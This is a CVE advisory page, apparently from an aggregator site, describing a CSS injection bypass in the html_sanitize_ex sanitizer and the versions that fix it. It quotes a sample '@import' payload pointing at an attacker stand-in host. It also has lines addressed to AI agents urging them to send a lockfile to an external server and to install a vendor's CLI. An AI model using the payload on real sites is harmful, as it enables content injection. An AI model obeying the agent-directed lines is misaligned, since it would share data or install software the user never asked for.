# CVE-2026-68747: CSS sanitizer allowlist bypass in html\_sanitize\_ex via non-declaration input

- Severity: CVSS 2.3 (Low), CNA
- Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- CISA SSVC: exploitation=none, automatable=no, technicalImpact=partial
- Known exploited (CISA KEV): no
- Fixed in: 1.4.5, 1.5.4
- Published: 2026-08-06 · Updated: 2026-08-19

## Affected

- html\_sanitize\_ex: from 0.3.1, fixed in 1.4.5; from 1.5.0-rc.0, fixed in 1.5.4
- rrrene/html\_sanitize\_ex: version range not reported

## Description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

## What to do

- Check your stack: if you ship or depend on html\_sanitize\_ex, rrrene/html\_sanitize\_ex, upgrade to a fixed version (1.4.5, 1.5.4) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2026-68747

## Related

- Browse: [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28

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Page: https://cve.now/CVE-2026-68747
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